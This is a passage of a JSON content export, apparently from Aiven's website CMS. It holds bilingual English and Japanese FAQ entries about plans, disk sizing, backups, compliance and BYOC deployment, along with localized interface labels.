size."}],"markDefs":[{"_key":"eaf6cccd05f4","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/dynamic-disk-sizing"},{"_key":"69d5a9406704","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf","_type":"reference"}},{"_key":"e353588efefa","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"}},{"_key":"384bf3706b74","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa","_type":"reference"}},{"_key":"a5eec9cf0f3f","_type":"internalLink","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2","_type":"reference"}},{"_key":"44c022d1996c","_type":"internalLink","internalLink":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4","_type":"reference"}},{"_key":"e98377ff3651","_type":"internalLink","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef","_type":"reference"}}],"style":"normal"}],"title":"Can I add more disk space to my plan?"} {"__i18n_lang":"ja","_createdAt":"2022-10-26T15:56:55Z","_id":"0e804db0-a866-4abd-827f-4958881bf05b__i18n_ja","_rev":"7zkUzK17nyKradHQJKR7eF","_type":"faq","_updatedAt":"2023-05-16T15:41:43Z","id":"dds","panelText":[{"_key":"6ca4d9e2c874","_type":"block","children":[{"_key":"5dd7ed962dd5","_type":"span","marks":[],"text":"Aivenの"},{"_key":"d8483aa889e6","_type":"span","marks":["73c7b4eae200"],"text":"Dynamic Disk Sizingでは、"},{"_key":"7838fbfa19f2","_type":"span","marks":["0e8077230645"],"text":"Aiven for PostgreSQL"},{"_key":"63014cab292d","_type":"span","marks":[],"text":"、"},{"_key":"564f3e2c9c8e","_type":"span","marks":["dde29325269e"],"text":"Aiven for MySQL"},{"_key":"0e05ab308af8","_type":"span","marks":[],"text":"、"},{"_key":"9eb94042e6c7","_type":"span","marks":["b3db02ad8687"],"text":"Aiven for Apache Kafka"},{"_key":"c43a35db803e","_type":"span","marks":[],"text":"、"},{"_key":"a5fdce8a39f6","_type":"span","marks":["9dcd3159a537"],"text":"Aiven for Cassandra"},{"_key":"862fe0c9d1f0","_type":"span","marks":[],"text":"、"},{"_key":"1bb765b7e0e1","_type":"span","marks":["f970109ca9ef"],"text":"Aiven for M3"},{"_key":"ccc4c1a6f1bf","_type":"span","marks":[],"text":"、"},{"_key":"ee3bd8e136af","_type":"span","marks":["1f71d97ceec3"],"text":"Aiven for OpenSearch"},{"_key":"4ab436d388e0","_type":"span","marks":[],"text":"プランのディスク容量の割り当てを自由に調節することが可能です。Aiven Consoleで使用するディスク容量を調整します。プランで定義されている容量の3倍まで増やすことができます。追加ストレージの価格には、増加したディスクサイズに対応するために必要な追加バックアップストレージも含まれます。"}],"markDefs":[{"_key":"73c7b4eae200","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/dynamic-disk-sizing"},{"_key":"0e8077230645","_type":"internalLink","internalLink":{"_ref":"a829737a-0ab2-4037-a7af-be5f9a4f82cf__i18n_ja","_type":"reference"}},{"_key":"dde29325269e","_type":"internalLink","internalLink":{"_ref":"e7fd6ec7-3b26-4955-abc0-77fcbbe307e2__i18n_ja","_type":"reference"}},{"_key":"b3db02ad8687","_type":"internalLink","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5__i18n_ja","_type":"reference"}},{"_key":"9dcd3159a537","_type":"internalLink","internalLink":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4__i18n_ja","_type":"reference"}},{"_key":"f970109ca9ef","_type":"internalLink","internalLink":{"_ref":"69064bec-5161-4e98-9af3-96ca0315cbef__i18n_ja","_type":"reference"}},{"_key":"1f71d97ceec3","_type":"internalLink","internalLink":{"_ref":"591f7c48-ecc0-4cb2-b7e5-c2aac4fea3aa__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"プランにディスク容量を追加することはできますか?"} {"__i18n_lang":"en","_createdAt":"2023-01-18T15:52:32Z","_id":"4c91f07f-4290-4cd1-ba29-e87509e538f5","_rev":"THDGXgbtbTWNUZ8wxpX3ad","_type":"faq","_updatedAt":"2023-05-16T15:58:40Z","id":"security","panelText":[{"_key":"b0d652ba86cd","_type":"block","children":[{"_key":"10a9fb05333a0","_type":"span","marks":[],"text":"Aiven is committed to customers’ information "},{"_key":"41b8b2e087e0","_type":"span","marks":["2931b0a10b22"],"text":"security, privacy and compliance"},{"_key":"a6c99958d72d","_type":"span","marks":[],"text":" needs. Aiven demonstrates this with ISO 27001 certified Information Security and ISO 27701 certified Information Privacy Management Systems. Aiven is also ISAE 3000 (SOC2) audited and offers a more secure environment that is PCI-DSS and HIPAA compliant."}],"markDefs":[{"_key":"2931b0a10b22","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Is my data secure with Aiven?"} {"__i18n_lang":"ja","_createdAt":"2023-01-18T15:52:32Z","_id":"4c91f07f-4290-4cd1-ba29-e87509e538f5__i18n_ja","_rev":"THDGXgbtbTWNUZ8wxpW5bb","_type":"faq","_updatedAt":"2023-05-16T15:56:43Z","id":"security","panelText":[{"_key":"ec5819816bf9","_type":"block","children":[{"_key":"113e3121a8210","_type":"span","marks":[],"text":"Aivenは、顧客の情報"},{"_key":"eee72b041f1c","_type":"span","marks":["9d5a2e014c01"],"text":"セキュリティ、プライバシー、およびコンプライアンス"},{"_key":"d091a0d15132","_type":"span","marks":[],"text":"の ニーズに対して取り組んでいます。Aivenは、ISO 27001認証の情報セキュリティとISO 27701認証の情報プライバシー管理システムでこれを実証しています。また、ISAE 3000(SOC2)監査を受けており、PCI-DSSやHIPAAに準拠したより安全な環境を提供します。"}],"markDefs":[{"_key":"9d5a2e014c01","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"Aivenではデータは安全に保護されますか?"} {"__i18n_lang":"en","_createdAt":"2023-01-13T15:51:59Z","_id":"53d60c8d-d7b6-4ed4-8722-4b4d4ae1a204","_rev":"PafZ7If3abxFAfZNOjOfKr","_type":"faq","_updatedAt":"2023-05-31T10:28:02Z","id":"kafka-byoc","panelText":[{"_key":"1170c96d9fa9","_type":"block","children":[{"_key":"9e099df914ac0","_type":"span","marks":[],"text":"Yes, we offer a "},{"_key":"b7371d063a7b","_type":"span","marks":["6f2b877e2629"],"text":"Bring Your Own Cloud (BYOC)"},{"_key":"7f7ab17e212c","_type":"span","marks":[],"text":" model for larger setups. Please "},{"_key":"63da412214e3","_type":"span","marks":["afbd90e697d2"],"text":"contact sales"},{"_key":"2523ad960e3d","_type":"span","marks":[],"text":" for more information, or check out our "},{"_key":"715bbe5befac","_type":"span","marks":["baea375dcef2"],"text":"BYOC documentation"},{"_key":"03bac6ed0236","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6f2b877e2629","_type":"internalLink","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_strengthenOnPublish":{"type":"post"},"_type":"reference","_weak":true}},{"_key":"afbd90e697d2","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}},{"_key":"baea375dcef2","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Can I run Aiven for Apache Kafka® within my own cloud account?"} {"__i18n_lang":"ja","_createdAt":"2023-01-13T15:51:59Z","_id":"53d60c8d-d7b6-4ed4-8722-4b4d4ae1a204__i18n_ja","_rev":"3j6PNipGH9NrGWcobon5f9","_type":"faq","_updatedAt":"2023-05-31T10:28:01Z","id":"kafka-byoc","panelText":[{"_key":"1170c96d9fa9","_type":"block","children":[{"_key":"c794bac70e46","_type":"span","marks":[],"text":"はい、大規模なセットアップには、"},{"_key":"b7371d063a7b","_type":"span","marks":["6f2b877e2629"],"text":"BYOC(Bring Your Own Cloud)"},{"_key":"5967e45c81f1","_type":"span","marks":[],"text":"モデルをご用意しています。詳しくは、"},{"_key":"63da412214e3","_type":"span","marks":["afbd90e697d2"],"text":"お問合せ"},{"_key":"2523ad960e3d","_type":"span","marks":[],"text":"いただくか、"},{"_key":"715bbe5befac","_type":"span","marks":["baea375dcef2"],"text":"BYOCに関するドキュメント"},{"_key":"03bac6ed0236","_type":"span","marks":[],"text":"(英語)をご覧ください。"}],"markDefs":[{"_key":"6f2b877e2629","_type":"internalLink","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_strengthenOnPublish":{"type":"post"},"_type":"reference","_weak":true}},{"_key":"afbd90e697d2","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}},{"_key":"baea375dcef2","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"Aiven for Apache Kafka®を自社のクラウドアカウント内で運用することは可能ですか?"} {"__i18n_lang":"en","_createdAt":"2022-10-26T15:49:36Z","_id":"7d42d7bd-4109-42b7-b1de-b09cad1e1c55","_rev":"70bM5v708uTTBntrbBPUBb","_type":"faq","_updatedAt":"2022-11-02T11:10:10Z","id":"plans","panelText":[{"_key":"92311083b2b5","_type":"block","children":[{"_key":"b67abad5c6c9","_type":"span","marks":[],"text":"We offer most technical features in all tiers, however some features may be missing from the lowest tiers due to lower VM resources, for example high Availability (2 nodes) is available only for Business and Premium plans. The main difference between the tiers is the amount of dedicated VMs per cluster. The more VMs there are, the more resistant the service is for any anomalies. Our Hobbyist/Startup tiers is typically recommended for test environments, Business for production environments and Premium for enterprise-level production environments."}],"markDefs":[],"style":"normal"}],"title":"What are the differences between the plans?"} {"__i18n_lang":"ja","_createdAt":"2022-10-26T15:49:36Z","_id":"7d42d7bd-4109-42b7-b1de-b09cad1e1c55__i18n_ja","_rev":"E0WcOAmhawew35VucHCI24","_type":"faq","_updatedAt":"2023-01-13T15:38:47Z","id":"plans","panelText":[{"_key":"8b13c21e37b1","_type":"block","children":[{"_key":"69752dea5c320","_type":"span","marks":[],"text":"すべてのプランでほとんどの技術的機能を提供していますが、VMのリソースが低いために下位プランでは一部の機能が利用できない場合があります。たとえば、高可用性 (2ノード) は、BusinessプランとPremiumプランでのみ利用可能です。プラン間の主な違いは、クラスタあたりの専用VMの数です。VMの数が多ければ多いほど、サービスの異常に対する耐性は高くなります。テスト環境にはStartupプラン、ステージング環境にはBusinessプラン、本番環境にはPremiumプランが推奨されます。"}],"markDefs":[],"style":"normal"}],"title":"プランの違いは?"} {"__i18n_lang":"en","_createdAt":"2022-10-26T15:48:09Z","_id":"8a523089-6963-4c88-a767-1a29d588861c","_rev":"m1sJAYlAKlzrK0MX0NQcf0","_type":"faq","_updatedAt":"2022-10-26T15:53:06Z","id":"pitr","panelText":[{"_key":"cd09f9bf6338","_type":"block","children":[{"_key":"9bcea6715af9","_type":"span","marks":[],"text":"The retention period for PITR depends on the plan type. It is 2 days for Startup, 14 for Business, and 30 for Premium. This backup history also acts as the usable range for the point in time recovery feature."}],"markDefs":[],"style":"normal"},{"_key":"b30e71273d6e","_type":"block","children":[{"_key":"272b4a914f6e","_type":"span","marks":[],"text":"You can find "},{"_key":"a235e74fe6f6","_type":"span","marks":["14d786ecdb02"],"text":"more information in our documentation"},{"_key":"5dbfd46e8f15","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"14d786ecdb02","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/service_backups"}],"style":"normal"}],"title":"What is the retention period for PITR?"} {"__i18n_lang":"en","_createdAt":"2022-10-26T15:43:02Z","_id":"bde787fb-271e-47a6-94e2-3698776780c6","_rev":"kSUNVFNkqb3vlCpGFGvck3","_type":"faq","_updatedAt":"2022-10-26T15:43:02Z","id":"security-compliant","panelText":[{"_key":"0f25c2f0b9b3","_type":"block","children":[{"_key":"1c5d0357c744","_type":"span","marks":[],"text":"ISO/IEC 27001:2013"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"837c9bfcb541","_type":"block","children":[{"_key":"3b6413874836","_type":"span","marks":[],"text":"SOC 2"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8aadc4b85d0a","_type":"block","children":[{"_key":"5744624ba3e5","_type":"span","marks":[],"text":"GDPR"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f91ea057fa21","_type":"block","children":[{"_key":"8e6b7a2ba5bb","_type":"span","marks":[],"text":"HIPAA"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"601e4bffbc62","_type":"block","children":[{"_key":"75f644bda267","_type":"span","marks":[],"text":"PCI-DSS"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"900bbc812037","_type":"block","children":[{"_key":"a6d0adcc7f49","_type":"span","marks":["f921c8c56f30"],"text":"Read more about Aiven's security and compliance"},{"_key":"c4c973e238ab","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"f921c8c56f30","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"}],"title":"What security standards is Aiven compliant with?"} {"__i18n_lang":"en","_createdAt":"2022-10-26T15:55:32Z","_id":"b4b43698-68fc-40a0-8edd-755088302126","_rev":"9EhxcQHTplKyRiLd2bkbXv","_type":"faq","_updatedAt":"2022-10-26T15:55:32Z","id":"discount","panelText":[{"_key":"0bf2c0f13915","_type":"block","children":[{"_key":"0259a3de4edc","_type":"span","marks":[],"text":"Discounts are available for organizations willing to make annual minimum-spend commitments. For more information, "},{"_key":"5789b3eeb6f0","_type":"span","marks":["148bdb9dd97a"],"text":"contact sales"},{"_key":"008a275cf58e","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"148bdb9dd97a","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}}],"style":"normal"}],"title":"Does Aiven offer any discounts?"} {"__i18n_lang":"ja","_createdAt":"2022-10-26T15:55:32Z","_id":"b4b43698-68fc-40a0-8edd-755088302126__i18n_ja","_rev":"NCHsgHLcvkCT8vGIjDIgcY","_type":"faq","_updatedAt":"2022-12-27T14:47:35Z","id":"discount","panelText":[{"_key":"0bf2c0f13915","_type":"block","children":[{"_key":"da1877b5006a","_type":"span","marks":[],"text":"年間最低利用額をコミットしていただける会社、組織には割引をご用意しています。詳しくは、営業までお問い合わせください。"}],"markDefs":[],"style":"normal"}],"title":"Aivenには割引サービスがありますか?"} {"__i18n_lang":"en","_createdAt":"2023-04-11T14:22:37Z","_id":"e514e6cc-1088-4768-8a49-ea0e01ea7123","_rev":"FWfcFyz4v76XPZNTIIBm4Z","_type":"faq","_updatedAt":"2024-06-27T13:16:09Z","id":"free-plan-vs-free-trial","panelText":[{"_key":"3827bc5a8728","_type":"block","children":[{"_key":"a40ae30a306a","_type":"span","marks":[],"text":"The free plans are limited in size but can be run indefinitely free of charge. The full platform free trial gives you $300 of credit for 30 days that you can use on any service types and plan sizes. You can run free services alongside your trial, they will not impact your trial credits and will continue to run after the trial has expired."}],"markDefs":[{"_key":"09f2fe6e2b0a","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"d2f2bee21cd4","_type":"block","children":[{"_key":"84e16529bf3b","_type":"span","marks":[],"text":"For more details on the free plans, check out our "},{"_key":"90d5493b2efd","_type":"span","marks":["09f2fe6e2b0a"],"text":"documentation."},{"_key":"48f70c61b34c","_type":"span","marks":[],"text":"\n"}],"markDefs":[{"_key":"09f2fe6e2b0a","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"}],"title":"What is the difference between the Aiven free plans and the Aiven free trial?"} {"__i18n_lang":"ja","_createdAt":"2023-04-11T14:22:37Z","_id":"e514e6cc-1088-4768-8a49-ea0e01ea7123__i18n_ja","_rev":"gO4PimG2K28q9ZOw6VeR3B","_type":"faq","_updatedAt":"2023-04-12T23:20:20Z","id":"free-plan-vs-free-trial","panelText":[{"_key":"34b8187542fb","_type":"block","children":[{"_key":"89820e27c4ca","_type":"span","marks":[],"text":"無料プランはサイズに制限がありますが、無期限で無料運用が可能です。フルプラットフォームを対象とした無料トライアルでは、30日間300ドルのクレジットが付与され、どのようなサービスタイプやプランサイズでも利用することができます。無料プランは、無料トライアルと並行して利用でき、トライアルクレジットに影響を与えず、トライアル終了後も継続してご利用いただけます。"}],"markDefs":[],"style":"normal"},{"_key":"883741ad3545","_type":"block","children":[{"_key":"8644dfc3373c","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"11f21eb3fe95","_type":"block","children":[{"_key":"c4f13a6cc8a60","_type":"span","marks":[],"text":"無料プランの詳細については、当社の"},{"_key":"e452a264a8e6","_type":"span","marks":["081ee9272599"],"text":"ドキュメント"},{"_key":"d1f1ab351e52","_type":"span","marks":[],"text":"(英語)をご覧ください。"}],"markDefs":[{"_key":"081ee9272599","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"}],"title":"Aivenの無料プランとAivenの無料トライアルの違いは何ですか?"} {"__i18n_lang":"ja","_createdAt":"2022-10-26T15:40:21Z","_id":"eb3f00a1-cbb4-4ab2-bd42-961369ca95ec__i18n_ja","_rev":"NCHsgHLcvkCT8vGIjEwpvK","_type":"faq","_updatedAt":"2022-12-28T08:25:42Z","id":"support","panelText":[{"_key":"85f22a2f5b77","_type":"block","children":[{"_key":"aec766cf6a24","_type":"span","marks":[],"text":"24時間365日、すべてのサービスのプロアクティブ監視を提供します。すべてのサービスにおいて異常が発生すると、当社の担当者に自動的にアラートが送信され、即座に解決します。さらに、アカウントには電子メールとチャットによるサポートも含まれています。追加料金をお支払いただくことで、別途3つのレベルの追加サポートをご利用いただけます。サポート対応時間やプランについては、"},{"_key":"b428e9edfe16","_type":"span","marks":["9d93117692d5"],"text":"こちら"},{"_key":"d865420e688a","_type":"span","marks":[],"text":"をご覧ください。"}],"markDefs":[{"_key":"9d93117692d5","_type":"internalLink","internalLink":{"_ref":"17d882dc-fcff-4bab-b539-c811e713bfa7__i18n_ja","_type":"reference"}}],"style":"normal"}],"title":"カスタマーサポートの内容は?"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"3ba8da80-d664-4401-91f9-29456eb6afb3__i18n_ja","_type":"reference"}],"_createdAt":"2022-10-26T15:39:58Z","_id":"3ba8da80-d664-4401-91f9-29456eb6afb3","_rev":"FWfcFyz4v76XPZNTIIBdiX","_type":"faq","_updatedAt":"2024-06-27T13:15:19Z","id":"byoc","panelText":[{"_key":"ecf5c150d1e8","_type":"block","children":[{"_key":"bbd163854d3b","_type":"span","marks":[],"text":"Yes, we offer a "},{"_key":"bc4be31ce4ac","_type":"span","marks":["1b31febdb7ee"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"aa47c0635d07","_type":"span","marks":[],"text":" deployment model for strict control requirements or to take advantage of your cloud provider discounts. Please "},{"_key":"361d1bfb61ce","_type":"span","marks":["9eb036791a83"],"text":"contact sales"},{"_key":"1496fea4658a","_type":"span","marks":[],"text":" for more information, or check out our "},{"_key":"6e6533cc0ca1","_type":"span","marks":["298b909fb035"],"text":"BYOC documentation"},{"_key":"cbfb9ac4632c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"1b31febdb7ee","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"},{"_key":"298b909fb035","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc"},{"_key":"9eb036791a83","_type":"internalLink","internalLink":{"_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_type":"reference"}}],"style":"normal"}],"title":"Can I run Aiven services within my own cloud account?"} {"_createdAt":"2022-11-09T08:53:37Z","_id":"6f8d04c2-fea0-46da-a8d4-0da264a3f029","_rev":"ElrRHx5al3kb1PwLXRikCd","_type":"field","_updatedAt":"2022-12-03T19:09:11Z","name":"opensearchLine2","value":{"_type":"localeString","en":"database","ja":" "}} {"_createdAt":"2022-07-21T12:51:43Z","_id":"323efcd5-9b35-4363-b321-ee8d440cd563","_rev":"qSZxM9b8jt7q1sKE6vAlie","_type":"field","_updatedAt":"2022-07-21T12:51:43Z","name":"rssFeed","value":{"_type":"localeString","en":"RSS Feed"}} {"_createdAt":"2023-02-03T13:32:54Z","_id":"c92abb30-011d-4dae-b666-c0301c5beffd","_rev":"pnOvEyahjeT2Gte9fmlH9X","_type":"field","_updatedAt":"2023-02-03T13:32:54Z","name":"whitepaper","value":{"_type":"localeString","en":"White paper"}} {"_createdAt":"2023-03-17T13:40:17Z","_id":"fbe7e42c-4b2d-4b43-8a8a-f77070ddbeda","_rev":"iIDWKhYkmLI2REfIiK0lrV","_type":"field","_updatedAt":"2023-03-29T11:05:57Z","name":"ctaPriceTier","value":{"_type":"localeString","en":"View plans","ja":"価格帯を表示"}} {"_createdAt":"2022-09-05T09:24:45Z","_id":"4258377c-fc1d-4631-9191-89442e5b3c13","_rev":"0TXqTylVMKaoTR0MBsQ52K","_type":"field","_updatedAt":"2024-11-15T09:28:33Z","name":"relatedCaseStudies","value":{"_type":"localeString","de":"Verwandte Erfolgsgeschichten","en":"Related case studies","fr":"Études de cas similaires"}} {"_createdAt":"2023-09-18T09:51:40Z","_id":"63ee248e-e2a6-4942-b430-9e1b5fab5747","_rev":"a4XEptz0xD4dYAWJ07miVn","_type":"field","_updatedAt":"2023-09-18T09:51:40Z","name":"video","value":{"_type":"localeString","en":"Live video"}} {"_createdAt":"2022-08-16T09:40:04Z","_id":"59fadc60-71d8-468b-bab3-df33145e8855","_rev":"AItYcVmwODXGfe9M0Euyoo","_type":"field","_updatedAt":"2022-08-16T09:40:04Z","name":"pressRelease","value":{"_type":"localeString","en":"Press release"}} {"_createdAt":"2022-11-09T11:20:18Z","_id":"6540ee6a-7288-40f0-ac7f-df1f660577e8","_rev":"Bp455s9rtQ49wRO6vfg1ct","_type":"field","_updatedAt":"2022-12-10T22:23:07Z","name":"mirrorMaker","value":{"_type":"localeString","en":"Data replication service for cluster to cluster data replication","ja":"クラスタ間のデータレプリケーションを行うデータレプリケーションサービス"}} {"_createdAt":"2022-10-05T08:54:17Z","_id":"29c1a29b-aaa9-41cd-8891-24c8296b1317","_rev":"PafZ7If3abxFAfZNOXwITp","_type":"field","_updatedAt":"2023-05-29T07:16:43Z","name":"tooling","value":{"_type":"localeString","en":"Tooling","ja":"ツール"}} {"_createdAt":"2022-12-02T15:19:19Z","_id":"1a6b9be9-dd26-4397-b1f0-ee1f5c72c4a3","_rev":"5iTZEBNHx5PwgJLwP9FQeE","_type":"field","_updatedAt":"2022-12-02T15:19:19Z","name":"restApi","value":{"_type":"localeString","en":"Rest API","ja":"レストAPI"}} {"_createdAt":"2022-12-02T15:27:02Z","_id":"a496e085-82c0-49ab-a64b-1d4ac386a0d0","_rev":"BgX4ZkoG52SPdBmuThBnqb","_type":"field","_updatedAt":"2022-12-03T19:03:51Z","name":"kafkaCoreLine1","value":{"_type":"localeString","en":"Core event streaming","ja":"コアイベントストリーミング"}} {"_createdAt":"2023-02-03T13:33:32Z","_id":"84c6342b-1ed2-40ae-9f1e-490aa1d74724","_rev":"6wJ6OxF1mPB2I3zeguVSzf","_type":"field","_updatedAt":"2023-02-03T13:33:32Z","name":"research","value":{"_type":"localeString","en":"Research"}} {"_createdAt":"2023-04-11T11:02:26Z","_id":"624e6302-b5ef-4c1a-9d36-c73cc828691f","_rev":"gO4PimG2K28q9ZOw6Dz1bD","_type":"field","_updatedAt":"2023-04-11T11:02:26Z","name":"freePlanAvailable","value":{"_type":"localeString","en":"Free plan available","ja":"無料プランのご利用が可能"}} {"_createdAt":"2022-10-21T08:57:49Z","_id":"7cdeb871-7cff-454d-9430-d772f8ac588a","_rev":"ITaY4hq23Yly5lipEsGonU","_type":"field","_updatedAt":"2022-10-21T08:57:49Z","name":"clearAll","value":{"_type":"localeString","en":"Clear all"}} {"_createdAt":"2022-10-21T08:57:34Z","_id":"c85e370a-9c17-4682-aaad-39fbd3645800","_rev":"pOcpx5xJfd77WJeP3NGnoH","_type":"field","_updatedAt":"2022-10-21T08:57:34Z","name":"filterBy","value":{"_type":"localeString","en":"Filter by"}} {"_createdAt":"2022-10-21T08:58:13Z","_id":"ba8ae484-1742-4ff9-b601-2b5d1385dd86","_rev":"pOcpx5xJfd77WJeP3NGpla","_type":"field","_updatedAt":"2022-10-21T08:58:13Z","name":"aivenFor","value":{"_type":"localeString","en":"Aiven for"}} {"_createdAt":"2022-11-09T11:38:55Z","_id":"e1f7d32c-4452-432d-ac83-60154b7b7848","_rev":"tCTpYSXtZaN94JPflCDCVG","_type":"field","_updatedAt":"2022-11-09T11:38:55Z","name":"openSearchPluginLine1","value":{"_type":"localeString","en":"15+ plugins \u0026"}} {"_createdAt":"2022-11-09T11:39:12Z","_id":"3da89fb4-d48f-43bf-8567-b7d90f357b4b","_rev":"yEepckykK41PbFrRNTDcqg","_type":"field","_updatedAt":"2022-11-09T11:39:12Z","name":"openSearchPluginLine2","value":{"_type":"localeString","en":"dashboard"}} {"_createdAt":"2022-11-09T11:41:46Z","_id":"5b152277-94d1-4c60-8127-6555a4ace5b2","_rev":"3re4XGUaXqpLG8nUTqmjaj","_type":"field","_updatedAt":"2022-12-19T12:55:28Z","name":"m3Line1","value":{"_type":"localeString","en":"Independently scalable","ja":"独立したスケーラブル"}} {"_createdAt":"2023-05-11T13:48:14Z","_id":"b38253b0-e98c-463e-a400-8ea93cce3a16","_rev":"4JMA3H9bBgAwAcyypZauZb","_type":"field","_updatedAt":"2023-05-23T12:21:29Z","name":"ctaContact","value":{"_type":"localeString","en":"Contact sales","ja":"お問合せ先"}} {"_createdAt":"2022-11-10T09:12:47Z","_id":"4926356a-8767-4db0-a2ec-de7f0c700039","_rev":"AgVn9c2bYty4stE1R2yG2Y","_type":"field","_updatedAt":"2022-11-10T09:12:47Z","name":"Spanish","value":{"_type":"localeString","en":"Spanish"}} {"_createdAt":"2022-11-10T09:13:26Z","_id":"b039f28d-93e0-4c01-9ebb-df612d634949","_rev":"AgVn9c2bYty4stE1R2yTJm","_type":"field","_updatedAt":"2022-11-10T09:13:26Z","name":"Korean","value":{"_type":"localeString","en":"Korean"}} {"_createdAt":"2022-11-10T09:13:39Z","_id":"f7b3a73c-b5ea-41e5-a520-533dbc96a253","_rev":"AgVn9c2bYty4stE1R2yZQe","_type":"field","_updatedAt":"2022-11-10T09:13:39Z","name":"Portuguese","value":{"_type":"localeString","en":"Portuguese"}} {"_createdAt":"2023-03-20T10:04:19Z","_id":"1f55dffd-a9e8-4d86-9f1e-9263e3731bb6","_rev":"FyKybxTQXmO9mB4BpJW4ZQ","_type":"field","_updatedAt":"2023-03-20T10:04:19Z","name":"addons","value":{"_type":"localeString","en":"Add-ons","ja":"アドオン"}} {"_createdAt":"2022-11-09T08:51:23Z","_id":"50a3193f-ada6-430c-8ec7-63d6f7a93a44","_rev":"0rD6Phxg3duzic15oFZrSs","_type":"field","_updatedAt":"2022-12-03T19:14:06Z","name":"grafana","value":{"_type":"localeString","en":"Analytics and monitoring","ja":"分析と監視"}} {"_createdAt":"2022-11-09T08:52:32Z","_id":"32c1f60f-67ed-4038-a6ce-fef045b30170","_rev":"ElrRHx5al3kb1PwLXRiU78","_type":"field","_updatedAt":"2022-12-03T19:07:57Z","name":"postgresql","value":{"_type":"localeString","en":"Fully managed SQL database","ja":"フルマネージドSQLデータベース"}} {"_createdAt":"2022-11-09T08:54:07Z","_id":"b6880a85-a43e-4258-8f23-c17a73221de2","_rev":"tCTpYSXtZaN94JPflBCPh2","_type":"field","_updatedAt":"2022-11-09T08:54:07Z","name":"datasource","value":{"_type":"localeString","en":"Datasource"}} {"_createdAt":"2022-09-07T11:04:10Z","_id":"65e26c68-c06e-4697-b57e-f200addb4c43","_rev":"Vdwq3UIV09usOUrfcMxs2w","_type":"field","_updatedAt":"2022-09-07T11:05:25Z","name":"caseStudies","value":{"_type":"localeString","en":"case studies"}} {"_createdAt":"2023-03-29T14:21:48Z","_id":"6057b9dd-013b-4f47-b2b5-09771b84c9b3","_rev":"iIDWKhYkmLI2REfIiL4e3A","_type":"field","_updatedAt":"2023-03-29T14:21:48Z","name":"noResult","value":{"_type":"localeString","en":"No result found"}} {"_createdAt":"2023-03-29T14:23:46Z","_id":"c1b18488-3e08-4e0a-b747-989f3bc97ee6","_rev":"M4dczs5irsEQMrhVZiLXtr","_type":"field","_updatedAt":"2023-03-29T14:23:46Z","name":"searchPlaceholder","value":{"_type":"localeString","en":"Search"}} {"_createdAt":"2023-03-29T14:34:40Z","_id":"5e4f5ca9-ed0b-4790-a4b3-4e3157648220","_rev":"cjTuTLzi2o5xCqfj97nQBa","_type":"field","_updatedAt":"2023-03-29T14:34:40Z","name":"noArticle","value":{"_type":"localeString","en":"No articles yet"}} {"_createdAt":"2023-03-29T14:27:33Z","_id":"18a9b328-dad0-47b1-b2f4-72a0de78eb1f","_rev":"M4dczs5irsEQMrhVZiLnpl","_type":"field","_updatedAt":"2023-03-29T14:27:33Z","name":"labelUseCase","value":{"_type":"localeString","en":"Use cases"}} {"_createdAt":"2023-03-29T14:27:47Z","_id":"30c3784c-ac4c-4a2f-b6d9-6b6e332053c4","_rev":"iIDWKhYkmLI2REfIiL6KSK","_type":"field","_updatedAt":"2023-03-29T14:27:47Z","name":"labelTech","value":{"_type":"localeString","en":"Technologies"}} 